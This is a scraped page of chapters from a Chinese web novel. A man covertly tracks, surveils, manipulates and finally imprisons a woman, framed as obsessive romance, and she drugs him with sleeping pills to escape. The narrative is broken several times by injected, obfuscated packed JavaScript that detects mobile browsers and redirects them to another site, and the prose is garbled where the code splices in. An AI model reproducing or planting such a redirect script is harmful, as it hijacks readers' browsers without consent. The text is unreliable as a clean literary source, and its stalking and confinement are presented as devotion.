l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525845|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜。 骆池咒喝汤的手微顿,不吃黄花,可他隐约他上次跟踪姐姐去餐厅,她只点了盘凉拌黄花。 不喝汤只吃菜,难道……,骆池咒嘴角勾起,眼底了然。 我的好姐姐,故技重施吗,一点都不好玩。 骆池咒笑着喝了口汤:“怪我没有提前了解姐姐的喜好,下次一定做你喜欢的。” 晚餐吃了不到半个小时,骆池咒连着喝了两碗汤,燕桐埋头干饭没敢抬头看他,她已经打算今晚逃跑了。 骆池咒太可怕了,每在这呆一分钟,她都觉得被无孔不入的监视,毛骨悚然。 不过一会,骆池咒吃完晚饭将碗筷洗干净收拾好就回了房间,又过了大概一个小时,燕桐听到他卧室里传来均匀的呼吸声。 燕桐开始迅速收拾行李,她摊开行李箱,将合租房里所有常用的东西都塞进去,包括牙刷梳子这些贴身的东西,她生怕留下这些东西又给骆池咒什么变态的灵感。 她装好所有衣服和鞋子,备考的书籍以及喝水的杯子洗头膏,风扇这些常用物。 可奈何行李箱实在太小,她只能将很多东西装进一个大塑料袋里扔掉,包括带不走的电热毯,洗头膏和瓶瓶罐罐,甚至连她买的那个小箱子拉出来准备扔掉。 就这样,燕桐装了三大袋垃圾,她先是连抗带抱的提着三袋垃圾出门,扔进了小区楼下的大型垃圾箱里。 正巧垃圾箱刚被清理过,格外的空,燕桐的所有东西都塞了进去。 随后她迅速回去,将最后的东西装箱,又反复检查卧室里没有遗留下任何私人物品后,才偷偷拉着行李箱转身离开。 临走前还小心的确认骆池咒确实还在床上熟睡,她这才放下心逃离。 这次的逃离一如三年前一样,突然而彻底。 深夜燕桐已经买不到回老家的车票,她只能就近找了酒店先住一晚,她准备明早订最早的一班飞机回家。 燕桐坐在去酒店的出租车上,她掏出手机拉黑了骆池咒的所有联系方式,甚至怕被他发现连社交软件都注销了。 可即便这样,她还是觉得不放心,三年前她也是这样拉黑骆池咒逃离的,可他整整三年都知道自己去了哪里,对自己的行踪了如指掌。 就说明他一定有别的办法,难道是手机里有定位,这很像他这种人能干出来的事,燕桐想来想去不安心,直接将手机卡拔出来,将手机彻底关机。 即便他有通天的本事,也不可能找到她,燕桐准备回了老家就将这台手机送去做个彻底的检查。 车子大约在路上跑了两个小时,才到达了酒店,时间已经凌晨两点,燕桐困得眼睛都睁不开了。 以她给骆池咒下的药量,起码到明天中午才能醒来,那时候她已经回老家了,想到这燕桐安心了些。 燕桐下车进酒店的时候,因门口光线太暗一脚踩空差点撞到电线杆上,还好她抬手挡了一下,却不小心擦痛了胳膊肘。 她掀起袖子看的时候,胳膊肘已经擦破了皮,不过好在没有出血。 燕桐太累了,她认证了身份就上到酒店房间来不及洗漱就沉沉睡去。 窗外突然下起了暴雨,雨滴啪啪的打在窗户上,燕桐把头埋进被子里,光线变的更暗,她睡的更沉。 不知过了多久,第二天阳光刺进窗帘的缝隙,燕桐眯着眼睛醒来,下意识看向窗外的阳光,她误以为错过了高铁,猛地坐起身子下意识掏出手机看时间。 却意外看到了早已经被她扔进垃圾桶的粉色枕头,燕桐瞳孔一震。 什么?她不是在酒店吗,她猛地回头看向四周。 这是她的卧室?! 20. 第 20 章 买的木箱子!枕头衣服,桌上的化妆品?摆放的位置都跟昨天一般无二,它们不应该躺在垃圾桶吗? 燕桐用力摇晃自己头,低头看到本应该被自己扒光床单,扔掉被褥的床此刻却整整齐齐的铺在床上。 她猛地看向行李箱,却发现行李箱安安静静的呆在柜子后面,仿佛从来没有动过。 她环视房间内的一切,没有一处和她平常的摆放位置不一样,她扑进卫生间,牙刷和梳子都被整齐在摆放在洗脸池旁,连方向都和平时一模一样。 “砰砰。”卧室的门突然被敲响了。 “姐姐,你醒了吗,早餐好了,你快出来吃。”骆池咒的声音响起。 燕桐脸色惨白,不等她反应,卧室的门已经从外面被人推开,燕桐每晚睡前都有反锁房门的习惯,可她此刻却根本来不及反应。 这一切都是这么的诡异和难以置信。 骆池咒穿着一件白色的毛衣,身形宽大,他的笑容依旧,仿佛什么事都没有发生过。 燕桐则是一脸的不可置信:“我,我昨晚?” 骆池咒走过来轻轻摸了摸燕桐的头,伸手轻轻将她额角的碎发别再脑后,指尖触及的瞬间,燕桐一阵颤栗。 “姐姐,你睡懵了啊,昨晚打雷下雨,我怕你害怕就想来你房间看看你,结果你一直做噩梦,我就陪了你半夜看你睡安稳了才敢回房呢。” 燕桐震惊:“昨晚?你陪我在这个房间?” “对啊,看来姐姐还真是睡蒙了,我帮姐姐洗漱吧,洗把脸就清醒了。”说着骆池咒伸手拉起燕桐往卫生间走。 此刻的燕桐几乎不可置信,她甚至觉得自己真的精神出问题了,难道昨晚她根本没走?一切都是她幻想的。 燕桐猛地将骆池咒推出了卧室:“我自己洗就好了,你在外面等我。” 她猛地将门反锁,冲到床头柜旁找自己藏的安眠药,床头柜第三层的抽屉里,第二本书的夹缝里有两颗药。 燕桐猛地翻开书,果然在书里。 不可能,她明明昨晚将这两颗药放进了骆池咒做的汤里,难道她真的精神分裂了,怎么可能。 这绝对不可能,燕桐不可置信。 突然她像是想到了什么,猛地掀起自己右臂的袖子,看到了胳膊肘的那片擦伤。 昨晚在酒店门口摔伤的,此刻燕桐坚信昨晚的一切是真实发生的。 一旦这样想,这一切又更加毛骨悚然了,既然昨晚一切都是真实发生的,她又是怎么回来的,骆池咒明明吃了安眠药睡着了。 屋里被她扔干净的东西,包括她塞进行李箱的小碎物,此刻又是怎么被细致的归回原位的。 就连牙刷摆放的方向,床头柜书页里的小药丸,他都能一一归位。 如果说能凭着观察到位能将家具和物品复原,那么书页夹层里的药品绝对不可能,更别说精准到几颗。 能做到这些,燕桐只能想到一个可能。 这屋里有监控。 燕桐强行压抑着惊恐,缓缓抬头看向高出的墙角。 她只是看了一眼瞬间收回视线,全身剧烈颤抖。 如果这些日子房间一直有监控,那她所有的暗中观察和算计,他都了如指掌,那他为什么还要装的一无所知。 她为什么昨晚回来的时候丝毫没有意识? 他做这一切究竟想要什么? 燕桐只觉得毛骨悚然,她看着那扇紧闭的卧室门,不敢出去。 她不敢想,也许此刻骆池咒正在外面看着监控监视者自己的表情,既然他什么都知道,那她还有什么好隐藏的。 燕桐攥紧拳头,她有太多问题不知道,比起自己连滚带爬的跑,看着他像个执棋者一样看着自己凌乱恐惧,还不如直接跟他鱼死网破。 燕桐一把推开门,冲了出去。 骆池咒正好端着一碗南瓜粥过来,看到燕桐,他笑着走了过来。 “姐姐,你洗漱完了啊,快来常常我新学的南瓜粥。”他用勺子轻轻舀起一口,递到燕桐的嘴边。 燕桐却只是冷冷的看着他,对峙几秒,燕桐一摆手打翻了粥。 瓷碗摔碎,热粥在脚边溅开,骆池咒的手怔在原地,笑容也僵在了脸上。 “还装什么呢?”燕桐冷冷的看着他。 骆池咒顿了一会,轻笑出声,他轻轻摩挲掌心被烫的红印,一脸无辜的抬头: “姐姐,你在说什么呢?” 燕桐眼里腾起怒火:“你究竟想怎么样?你自己做了什么你不清楚吗,你知不知道装监控这种事我已经可以报警了?” 骆池咒笑的温柔:“没想到姐姐这么快就猜到了,看到是我低估你了。” 燕桐紧紧盯着他:“我只问你,三年前我离开时你是不是在我手机里装了定位?” “是。” “姜燕的事,我被上司骚扰辞职,被行业封杀的事是不是你?” “是。” “这三年你一直监视着我,一步步布局将我引过来?” “是。” “你早就知道我给你下药?你身体的假诊断报告也是故意让我看见的?还有我在查第二人格的事你也早就知道了?” “是又如何?” 骆池咒靠近一步,抬起手摸燕桐的脸,却被燕桐一把打开,骆池咒也不生气。 “我知道姐姐生气,可是你不也喜欢我这样吗,被一个人完全掌控监视,有一个人死死的缠着,你明明说过你喜欢的。” 燕桐震惊:“我什么时候说过?” 骆池咒的指尖触摸上燕桐的唇:“可是就是从这张嘴里说出来的,你说想把自己身体剖开,连骨头都刻上我的名字,你说我是你的,我的视线里必须全都是你。” “滚开,我才没说过这种恶心的话。”燕桐猛地反应过来,“你是说她?我的第二个人人格?你们到底是什么关系,她用我的身体做了什么?” 燕桐想到她的身体被别人顶着和这个人互动,胃里开始直泛恶心。 骆池咒看着她的表情,眼里却闪过一阵兴奋:“我让姐姐恶心了吗,没关系,反正也不是第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525846|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次了。” 他突然开始回忆以前的事。 “三年前的那个雨夜,暴雨打在我的脸上,我头上满是血窟窿,我跪着求姐姐不要走,我好疼啊,你明明说过原谅我的,可当我还在庆幸你终于你走时,你却丢下救护车上的我彻底逃离。” “你知道那晚我有多恨吗?”他的声音很轻,几乎听不见。 “后来我再病床上醒来,我就知道了,姐姐嘴里没有一句真话,就算我死在你面前你也还是要跑。” 燕桐看着他:“我们不合适,当初早就说好是玩玩而已。” 骆池咒却没理会她的话,依旧自顾自的说着:“从你跟我谈恋爱的第一天,我就在你手机里装了定位,你跟慕司每次偷偷见面,我都恨不得把他杀了,当你跑了我找不到你的那天,我无比庆幸装了那个定位。” “姐姐应该猜不到吧,你走后的这三年,你手机的定位一直都在哦,你住在哪里我都租在你对门,每天跟你一起出门,一起回家,你家门口监控至今还绑定着我的手机” “这三年你所有换洗扔掉的衣服我都有好好收藏,你扔掉的水杯发圈我都会从垃圾箱里翻出来,就好像我们还跟从前一样亲密。” 燕桐听着他的话,越听越觉得血液倒流:“你果然不是个正常人,你太可怕了。”她踉跄着后退。 “后来我发现姐姐总是做一些很奇怪的举动,比如经常会穿着红色的长裙一个人去酒吧,偶尔神态生活习惯都不一样了,更奇怪的是竟然不认识我了,那时候我就知道,姐姐人格分裂了。” “我本不想这么快打扰你的,可你的工作这么累,我只好帮你一把了,至于她,我接近她,给她当狗,也是不想姐姐的身体被别的男人染指啊,我做的一切都是为了姐姐。” “恶心!”燕桐一把甩开他“变态。” 你怎么能把监视我,恶心的收藏癖,斩断我的事业,变态的占有欲,说的这么冠冕堂皇,还是为我好? 骆池咒突然笑了,他把那只被打的手凑近鼻子轻轻闻了闻:“姐姐,你不喜欢我这样吗?你为什么会生出第二人格,明明那么压抑,跟我在一起放纵的时候不是很开心吗?” “你总是善于伪装和隐藏,没关系,我迟早会帮姐姐一层层剥开这层膜,让你完全真是的正视你自己。” “我没有伪装,我跟你根本不是一路上,我是个乖乖女,我只想安安稳稳,规规矩矩的活。” “没关系,总有一天,你会承认的,会变成跟我一样的人,然后……一同坠入深渊。” 骆池咒兴奋极了,他瞳孔放光,死死的盯着燕桐:“现在你都知道了,姐姐你可以逃了。” “你简直疯了,你,你该去医院看看。”燕桐怕极了,转身就跑。 此刻她脑子里只有一个念头,跑,她绝对不能在他待在一个空间里,燕桐拿起手机,冲出房门。 门被重重摔上,室内突然一片死寂,骆池咒勾起唇角: “逃吧,逃多了逃累了,知道怎么也逃不掉的时候,就是你真正属于我的那天” 21. 第 21 章 “我的好姐姐,游戏结束了,该结算了。”骆池咒露出一个微笑,他的脸背着光,阴影中他脸上的轮廓明明看不清,却格外可怖。 燕桐冲出了出租屋,拿着手机就疯狂的跑,她冲到车站不管不顾的就坐上了一辆大巴车。 此刻她心里只有一个念头,不管去哪,逃离这里。 她突然想起骆池咒说手机里有定位,燕桐一把将手机扔出了车外,没带包没带任何行李,只留下一个光秃秃的人坐上车。 燕桐不放心的趴在车窗上观察四周,确认骆池咒没人派人跟过来才彻底放下心来。 这次她终于彻底逃开了。 燕桐回头看着平稳驶在马路上的大巴车,她不知道这辆车要去哪,燕桐摸了摸自己口袋里仅有的几张钱。 她掏出来数了数,一共五十三快。 她不敢再回去了,车窗外不断倒退的街景仿佛是催眠剂,燕桐竟一时有些困倦,她的意识飘回了很久以前。 那时候她还只是个大四的学生,骆池咒还在上大一,他总是一身干净的白色体恤和运动裤,明明是在普通的穿搭却显得身形格外的宽大。 他好像与生俱来一种拒人于千里之外的推力,不是冷漠也不是高傲,而是一种孤僻感。 其实燕桐和慕司谈恋爱的时候,并没有注意到他,后来因为误会和慕司分开的那天,是她第一次见骆池咒。 她惊讶于世界上竟然有两个长相如此相似的人,如果不是打扮不同,大型不同,她甚至认为他和慕司几乎就是双胞胎。 慕司从小是被父母领养的,慕司告诉她他的父母在京城旅游时遇到了浑身是泥,饿了三天三夜的他。 慕司也因为受惊过度而失去了三岁前的记忆。 因为这个,燕桐曾确实怀疑过他和骆池咒是双胞胎,可是两人的身份证,慕司比骆池咒大了整整三岁,而且骆池咒告诉燕桐他是独生子。 燕桐也就没再怀疑,同样的长相,两人的气质却完全不同,慕司温文尔雅,像一缕春风,就算生气也只是无奈叹息,只是性格稍有些软弱闷吞。 这点跟燕桐格外的像。 骆池咒却截然相反,看着人畜无害,可怜的过分,心肝肺却早就黑透了,他的极端燕桐也算是彻底见识到了。 想起了这些琐事,燕桐后悔她为什么因为失恋而去招惹骆池咒。 想起她逃离大学的城市是因为他,跟慕司尴尬而断了联系也是因为他,丢了工作是因为他,精神分裂也跟她脱不了关系。 好像从与他相遇的那刻起,燕桐人生中的所有事都与他紧紧捆绑。 燕桐的人生都被他彻底打乱了,时至今日,燕桐想到三年前那个巷子里,慕司被他打的满脸是血的画面,依旧觉得恐惧。 那晚骆池咒狠狠的将戒指凸起戳进自己额头,更让燕桐夜夜噩梦。 她只想逃,这两大巴车走的越远越好,燕桐想着想着,觉得意识有些模糊,渐渐靠在座椅上睡了过去。 睡梦中,隐约感觉到前窗被谁打开了,悠悠的凉风吹在她脸上,燕桐觉得很舒服。 不知过了多久,燕桐身体渐渐没有了知觉,甚至感受不到坐在车上,她下意识以为自己车上已经没人了,猛地睁开眼睛。 谁知睁开眼睛的瞬间,映入眼帘的是她从没见过的画面。 奢华装扮精致的客厅,巨大的落地窗,鎏金的吊灯,打扮统一的女佣,身着精致西装的年长管家。 燕桐猛地低头,摸到柔软的真皮黑色沙发,她彻底懵了。 正当燕桐瞪大眼睛看时,身着西装的管家突然端着一杯果汁走了过来。 他面向沉稳,头发梳的一丝不苟,唇角带微抬恰到好处,身子弓的很低格外的恭敬。 “夫人,您醒了,这是您的果汁。”管家手戴白色手套,将果汁轻轻放在茶几上,果汁没有丝毫的颠簸。 燕桐看着那杯色泽鲜亮的葡萄汁,她又甩甩脑袋,依旧觉得自己在做梦。 “夫人?我认识你吗?” 管家恭敬的笑:“夫人,您又开玩笑了,先生说大约十点回家。” 先生,哪个先生。 燕桐猛地站起身,冲向落地窗,却看到窗外亮光不是太阳,而是数不清的的昂贵人造的太阳灯柱。 这是一个庄园。 一眼望不到头的庄园。 “夫人?您很久不回来了,是这里的新的装修您不满意吗?” 燕桐转身问:“很久不回来?我上次回来是什么时候?” 管家怔了一下,像是没想到夫人好像失忆了,但他依旧恭敬的答:“您上次回来已经是上周三晚上十一点了。” “先生说您白天太忙,只能隔三差五的回家,而且一般都很晚。” 隔三差五,上周三十一点,燕桐明明记得每周三晚上九点是和爸妈打电话的日子,她每晚十点前都会入睡。 白天忙,隔三差五,燕桐像是突然意识到什么,她问:“你们先生叫什么?” 管家又是一愣:“骆先生是您的丈夫,洛弛咒,夫人你怎么了?” 燕桐听到这三个字,脑中如惊雷般炸开,她愣了几秒,猛地推开管家,转身朝外冲去。 她全然没意识到,此刻的自己早就换了衣服,保守的卫衣牛仔裤换成了性感的真丝吊带睡裙。 她穿着拖鞋朝着别墅大门狂奔,出了门还有无数条路,四周被白色的西式建筑包围,绿色的植被覆盖,一路种满了各色的花。 燕桐拼命的跑,只想找到出口,可无论她怎么跑,却始终绕回原地,这里大的她根本找不到方向 她跑掉了拖鞋,光脚在地上冲撞,沿途整理花草,打扰卫生的女佣都被她的举动吓到。 “夫人,您要找什么东西吗?我帮您找?”女佣担忧的上来问。 却让燕桐更加恐惧,她大喊:“谁是你们夫人,我根本不认识你们。” 燕桐转身想跑,却一转身就看到了一个高大的身影,站在不远处。 骆池咒长发垂在眼角,一身白色宽袖长袖,唇角带着温柔的笑,修长的中止和无名指勾着燕桐甩掉的两只拖鞋。 “夫人,你这是要去哪啊?” 燕桐脸色刷的惨白,踉跄着往后退了两步:“你究竟是谁……这是哪?你到底想怎么样?” 骆池咒笑的温柔,走过来缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525847|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓俯身半跪在她脚边,冰凉的手握住燕桐脚踝的瞬间,燕桐全身一颤。 骆池咒却像没感觉到一样,轻轻的抬起她的脚,用手掌抚过她脚掌根本不存在的灰尘,然后将两只拖鞋给她穿好。 “夫人这是睡懵了吗?我是你的丈夫,这是我们的家啊,我只是想带我的妻子回房。” 骆池咒弯腰搂住燕桐的腰,想将她抱起来,燕桐却剧烈挣扎。 “你在胡说什么,我根本不认识这里,也不是你的夫人,你到底在装什么。” 骆池咒的胳膊被推开,他也没有勉强,松开燕桐站在她身边,骆池咒没有说话,只是余光扫了眼旁边的女佣。 女佣瞬间脸色苍白,立刻说:“夫人,您和先生已经结婚三年了,这三年你们相濡以沫,感情非常好。” “是啊夫人,先生上周还将庄园里所有花都除去,都种了您喜欢的玫瑰呢。” 燕桐不可置信:“你们在胡说什么?我根本没来过这,结婚三年,怎么可能?” 燕桐却仿佛突然想起了什么,她猛地掏出手机,打开结婚登记网站查询自己的信息,她颤抖着输入身份证号。 正在加载的圆圈显示,骆池咒却只是静静低头看着,脸上看不出喜怒。 信息猛地显示,燕桐看到屏幕上已婚那两个大字,瞬间血液倒流,她不可置信的往下翻,看到结婚对象骆池咒的名字时,差点晕厥。 燕桐缓缓抬头看向骆池咒:“这究竟是怎么一回事?” 骆池咒微笑:“夫人,该回去吃饭了。”骆池咒直接忽略她的情绪,拉起她的手就往里走。 燕桐像是突然意识到什么,猛地甩开他的手。 “我知道了,是第二人格,你利用我第二人格跟我去民政局结婚,第二人格操控着我的身体和你在一起,当你的妻子?!” 燕桐简直刷新认知,她从没想过,他除了做了那些事,竟然还有这么恐怖的一面。 “你怎么这么恶心,你这是骗婚,你是诈骗非法拘禁,□□,你,你侮辱了我的人格,你就是个变态。” 燕桐绷不住眼泪,她全身颤抖,指着骆池咒控诉。 “我到底怎么得罪你了,你是想毁了我吗?” 骆池咒心疼的抚上她的脸,为她擦去眼泪:“夫人,你说什么呢,你是我最爱的人啊,我做的这一切都是因为爱你。” “我只是怕你离开我,别生我气好吗,我是你的丈夫啊,从始至终都是。”骆池咒轻轻靠近,想将燕桐拥进怀里。 燕桐用尽全力推开他,狠狠给了他一巴掌,啪的一声,周围瞬间冻住,女佣连大气都不敢喘一声,追出来的管家也愣在原地。 骆池咒一动不动,良久,他唇角又扬起一抹温柔的笑:“谢谢夫人,你如果生我气就再打几把掌,把这张脸打烂都可以,只要你别离开我就行。” 燕桐恐惧与愤怒交加,她狠狠推开他:“滚开,我要报警,你这是犯罪,我要报警抓你,结婚不算数,什么都不算数。” 燕桐刚拿出手机,却被骆池咒一把夺去。 “夫人恐怕没弄清一件事,在一个疯子面前,警察是没有任何威慑力的。” 22. 第 22 章 燕桐震惊:“你疯了吗?” 骆池咒勾起唇,将燕桐的手机塞进自己的口袋,朝着她靠近:“姐姐,我早就疯了。” 他靠近缓缓俯身摸上燕桐的脸:“你还记得吗,我早就说过,如果你再逃,我就疯给你看。” 燕桐被吓到,转身就想跑,却刚跑出没几步,就被一股巨力扣住腰,瞬间翻天覆地,直接骆池咒扛了起来。 骆池咒死死扣着燕桐的腿,将她扛在肩上,转身朝着别墅内走去。 “封锁庄园,二十四小时巡逻,要是让我夫人跑了,你们知道后果。” “放开我,你这是犯罪,你没有权利关着我,我家人联系不到我回报警的。” 燕桐用尽全力挣扎,捶打他的后背,而骆池咒的手却如钢铁般纹丝不动,直接大跨步将燕桐抗回了别墅,踏进门的那刻,别墅遥控大门应声合上,逃跑路彻底被断了。 骆池咒手却瞬间变的温柔,将燕桐轻轻放在沙发上,直接倾身半跪在她腿边。 “夫人,我们已经结婚三年了,你承认或是不承认这都是无法改变的事实。” 骆池咒紧紧攥着燕桐的双手,燕桐满脸惊恐,缩着身子往后退。 “你到底是谁?” 燕桐不敢置信,这么庞大的庄园,那些女佣那么害怕他,包括他不久前在私人会所被众人簇拥的模样,这根本不像她三年前认识的唯唯诺诺的大学生骆池咒。 他到底是谁,难道这么久他一直是在伪装吗。 骆池咒没着急回答她,他抬眼看向一旁的管家:“去把我和夫人的结婚照和这三年的相册拿来。” 骆池咒笑的温柔,仰头看着燕桐,用几乎诱哄求饶的语气轻声细语的说:“等你看了相册,一切都会明白的,我们早就是相濡以沫的夫妻了。” 管家立刻拿来一本厚厚的相册,相册外围贴着一层厚厚的模,表层闪着淡黄色的亮片,显然被保护的很好。 骆池咒几乎是跪在燕桐膝前,在燕桐满脸恐惧的目光下,他接过相册轻轻放在燕桐的腿上,将人像正对着燕桐,随后温柔的翻开。 第一页就是两人的合照,背景是临城的咖啡厅,燕桐一身红色长裙,带着黄色波浪卷发,两人甜蜜的靠坐在咖啡厅的座位上,微笑看着镜头。 只是那照片里的燕桐眼神锋利,满是占有欲,涂着红唇花着浓妆,动作肆意,除了那张脸和燕桐一模一样之外,再找不出任何相似的地方。 燕桐只看了一眼,就一把将相册打翻在地。 她情绪几乎崩溃:“别让我看这些,让我恶心,她顶着我的身体,你明明知道她是假冒的,却还跟她做这些?” 骆池咒看着被打翻的精致相册,却没有动怒,唇角依旧笑着,他起身捡起相册,轻轻放在茶几上,转而看着燕桐。 “这不重要,我知道她不是你,可是只要能让你不离开我,我可以假装跟她亲密恩爱,只要能控制你的身体,监视你的行踪。” “只要她在一天,你就永远逃离不开我。” 骆池咒的眼神变的偏执,却依旧笑着,他靠近燕桐:“我也没有办法啊,你知道我有多庆幸她的出现吗?” “三年前你彻底消失,离我而去,我再没有任何接近你的理由,一切纠葛都被磨平,我深陷痛苦,因为对你的想念夜夜发疯,而你……却早就开始了新的生活。” “这对我多么不公平,凭什么你想招惹我就来,想离开我就去吻那个男人,我恨,我不会让你离开我。” “就在我绞尽脑汁无法掌控你的时候,她带着你的身体出现了,是我一步步勾引她爱上我,一步步骗她会帮她杀了你这个主人格,彻底掌控这具身体,凭着这些我才能无条件的查看你的手机,监视你的行踪,一边跟她虚与委蛇,一边想着怎么除掉你身边那些男人。” “可是后来你手机里相亲对象越来越多,我真怕啊,你一个冲动就跟他们结婚,所以我只好跟她去领了证,用你的身体。” 燕桐满脸的不可置信,几乎颠覆了她的认知,她身体不受控制的往后缩,骆池咒却突然扑上来死死抱住她。 “每当我跟她相处时,我触摸着你的身体,想象的都是你,我只当我跟你结婚了三年,我们相濡以沫,在这座庄园明明生活的很好。” “现在一些幻想都成真了,你回来了,我所期盼的都实现了,算我求你,姐姐可怜可怜我,别让我的梦这么快破碎好不好。” “你是我的夫人,我是你丈夫,我们就一起永远快乐的生活在这好不好。” 他的语气带着哭腔,努力的祈求,手臂紧紧环住燕桐的腰。 燕桐用尽权利推开他:“你休想,你简直丧心病狂,我永远也不会喜欢你这样的人。” “你就是个变态,你不可能永远关着我,永远控制我,总有一天,我会杀了那个人格,彻底与你断干净。” 燕桐此话一出,骆池咒本还在哭泣祈求的脸色瞬间变冷,他用一种不可置信的眼神死死盯着燕桐,似在考量似在思考,又缓缓低下头笑着自言自语。 “是吗……可是我不是在求你啊,姐姐。” 他眼神变得越来越兴奋:“既然你说我变态,那我也没必要藏着了。” 骆池咒猛地跨到燕桐身边,一把搂住她的腰,几乎是连拖带抱的就将她往地下室带,不管燕桐如何哭喊挣扎,都纹丝不动。 地下室的门破旧,灯光昏暗,灯影破朔迷离的打在两侧的墙壁上,格外的诡异。 骆池咒一脚踹开门,将燕桐拽了进去,地下室的灯随着他的进入猛地亮起,刺眼的灯光瞬间填满了整个空间。 燕桐被刺的眼睛眯起,在睁眼时只看见眼前竟摆着一排密密麻麻的人偶,更恐怖的是那人偶竟与她的身高容貌一般无二。 就连脸上的肤色,皮肤的血管,手上的纹身都一模一样,而这样恐怖的人偶竟然有一整排。 燕桐瞬间腿软往下滑,却被骆池咒搂着腰一把捞起,他死死按住她的肩膀,逼着她直视那些逼人的人偶。 “姐姐,你不是很好奇出租屋里那个柜子里装了什么吗?就是这个,包括我们重逢时纹身店密室里也是这个。” “这是我送给你的礼物”他将燕桐推到第一个人偶前,轻轻抬手摸着她的脸“从认识的那年起,每一年你的生日我都会做一个人偶,一直到今年,一共七个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525848|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她们的模样都是你生日那天的样子,没有丝毫的不同。” 燕桐看着那些人偶,脸上僵硬的笑容,脸色惨白,若非被骆池咒扣着,她早就倒了下去。 “姐姐,这七年我每想你想的发疯时,就看看她们,我告诉自己,再等等,只要在等一下,你就会永远属于我,就像这些人偶一样,尽我装扮,永远都陪着我,容貌永远定格。” 他的语气,仿佛燕桐此刻已经成了人偶,被死死钉在这里。 “所以你想把我关起来,以后都像这些人偶一样,不见天日没有灵魂吗?” 骆池咒突然轻笑一声,松开了燕桐:“我怎么舍得呢,你是我的夫人,我们是要纠缠一辈子的,只要你不离开我,我可以为你做所有事,哪怕让我去死。” 燕桐看着他猩红的眼眸,瞬间想到了什么,她眼珠一转:“一切的事?那我要你帮我杀死第二人格你愿意吗?” 骆池咒显然怔住了,他的眸子莫测,看不出一丝情绪。 “她隔在我们之间,我和你永远也没法在一起,你不是说你爱的是我,对她只是利用吗,只要你帮我诱导她灵魂自杀,让我完整控制身体,我就尝试跟你在一起。” 燕桐一脸认真,仿佛她说的真的是真话,骆池咒盯着她,突然就笑了。 “姐姐还真当我是傻子吗,没了她,你还会睁眼瞧我一眼吗”骆池咒病态的轻轻抱住燕桐,大手扣住她的后脑,用一种及其轻的语气说: “姐姐,别再白费力气了,乖乖留下来,放心我会平衡好你和她的关系,她只是我用来控制你逃跑的手段,我永远不会让她彻底主宰你。” “你们可以永远……永远的共存下去,只有这样你才能被我死死捆住,一辈子。” 燕桐还想在说服他,骆池咒却直接将燕桐打横抱起,朝着地下室外走去。 “夫人,你累了,该睡觉了。” 刚踏出门的瞬间,地下室的大铁门重重的合上,取而代之的明亮奢华的别墅,可燕桐内心的恐惧和不适却始终无法散去。 骆池咒轻轻的将燕桐抱进卧室里,卧室很大床上铺着柔软的被褥,整体是暖色调,巨大的落地窗投射着庄园的豪华。 骆池咒轻轻摆好枕头,将燕桐放在床上,然后亲手帮她脱掉拖鞋,轻柔的盖上被子。 燕桐转头看到了床头柜上她和骆池咒的合照,不是第二人格用她的脸,那是她们三年前还是学生时的合照,那时的燕桐乖巧,骆池咒羞涩,她穿着洁白的长裙,骆池咒身着白色体恤和黑裤,那样的的干净无害。 骆池咒俯身靠近燕桐,燕桐下意识伸出手挡在胸前。 骆池咒看出了她的害怕,轻轻摸了摸她的头:“姐姐别怕,我不会伤害你,更不会对你做什么,我与她结婚的这三年,从未碰过你的身体,以后也不会。” 他轻柔的在燕桐额头落下一吻:“时间不早了,姐姐休息吧,你已经洗过澡了……放心吧是女佣帮你的。” 骆池咒说完就转身离开,临走前停在门口:“姐姐,别想着逃跑,你知道我的手段的。”话毕就抬脚出去,轻轻关上了门。 独留燕桐在卧室内。 23. 第 23 章 门被从外拉上,燕桐立刻下去想将卧室门从外面反锁,但她手按在反锁按钮的时候,按扭却像是从外面被堵住了一样,纹丝不动。 燕桐瞬间意识到,骆池咒将门从外面缩了。 燕桐立刻又跑向高大的落地窗,窗子没有拉窗帘,一尘不染的玻璃映射着庄园的明亮灯光,犹如白昼般。 燕桐反复在落地窗上摸索猛推开的窗子,却发现这扇窗根本就打不开,燕桐用力敲击玻璃,玻璃却发出一种不同于普通窗户的声音。 敲击声沉闷,没有一点脆响,燕桐瞬间感到这玻璃的坚固。 她失落的返回做到床上,呆呆的看着窗外的亮光,不知道自己该干嘛。 卧室看着透光,能将室外的景象一览无余,其实却密封的毫不透风,根本找不到一点出口。 燕桐透过落地窗能看到楼下身穿黑色西装,来回巡逻的保镖。 